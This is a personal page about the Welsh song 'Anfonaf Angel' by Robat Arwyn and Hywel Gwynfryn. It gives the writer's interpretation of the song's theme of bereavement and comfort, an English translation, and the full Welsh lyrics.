Anfonaf Angel

(Guardian Angel)

Music was commissioned by Ysgol Dyffryn Nantlle in 2008 for Bryn Terfel.

The music was composed by Robat Arwyn and lyrics by Hywel Gwynfryn.

My interpretation of the translation, tells of the bereavement of someone very dear, leaving the writer devastated and alone, with no one to turn to. Then one night while in slumber, the buzzing of city awakes the writer, and for a brief moment you can hear the dulcet tones of the departed, quietly and softly enlightening you, an angel will be sent to watch over you. From time to time in a hectic lifestyle, when you feel lonely and sad, and on your knees in prayer, and emotion over comes you, you’ll remember the words that were said to you.

“I’ll send an angel to protect tonight, I’ll send an angel to console you”.

 

A TRANSLATION

The late humming of the city wakes me
For a second, I believe that you’re with me
And I hear a quiet melody of your voice saying softly                                                                                                                                    I’ll send an angel, to protect you.

I’ll send an angel to protect tonight.
Send an angel to console you.
The sound of your voice is enough, to remove all doubt.
I’ll send an angel to you.

From time to time , in life’s busyness  I fell lonely and sad.                                                                                                                        But when I’m on my knees, I will see through my tears                                                                                                                              and remember the words you said to me.
Send an angel to protect you tonight.
Send an angel to console you.
The sound of your voice is enough, to remove  all doubts.
I’ll send an angel to you.
You are the angel who’s always there, looking after me wherever I’ll be

You are my angel, my Guardian angel.
I remember the words, you said to  me.
I’ll send an angel to protect you tonight.
I’ll send an angel to console you.
The sound of your voice is enough, to remove  all doubt.
I’ll send an angel to you.
I’ll send an angel to protect you tonight.
I’ll send an angel to console you.
The sound of your voice is enough, to remove all doubt.
I’ll send an angel to you.
I’ll send an angel to you.

 

Mae hymian hwyr y ddinas yn fy neffro.

Am eiliad, rwyf yn credu dy fod yno.

A chlywaf alaw isel, dy lais yn galw’n dawel.Anfonaf angel, i dy warchod di.

Anfonaf angel, i dy warchod heno.

Anfonaf angel, i’th gysuro di.

Mae swn dy lais yn ddigon, i chwalu’r holl amheuon.

Anfonaf angel atat ti.

 

Ac ambell waith, yng nghanol berw bywyd, rwy’n teimlo’n unig ac yn isel hefyd.

Ond pan rwyf ar fy nglinia’, fe welaf drwy fy nagra, a chofio’r eiria, ddywedaist wrthai i.

Anfonaf angel, i dy warchod heno.

Anfonaf angel, i’th gysuro di.

Mae swn dy lais yn ddigon, i chwalu’r holl amheuon.

Anfonaf angel atat ti.

 

Ti yw yr angel sydd yma yn wastadol, yn gofalu amdanaf, lle bynnag y byddaf.

Ti yw fy angel, fy angel gwarcheidiol.

dw i’n cofio’r geiriau, ddywedaist wrtha i.

Anfonaf angel, i dy warchod heno.

Anfonaf angel i’th gysuro di.

Mae swn dy lais yn ddigon, i chwalu’r holl amheuon.

Anfonaf angel atat ti.

 

Anfonaf angel, i dy warchod heno.

Anfonaf angel i’th gysuro di.

Mae swn dy lais yn ddigon, i chwalu’r holl amheuon.

Anfonaf angel atat ti.

Anfonaf angel atat ti.
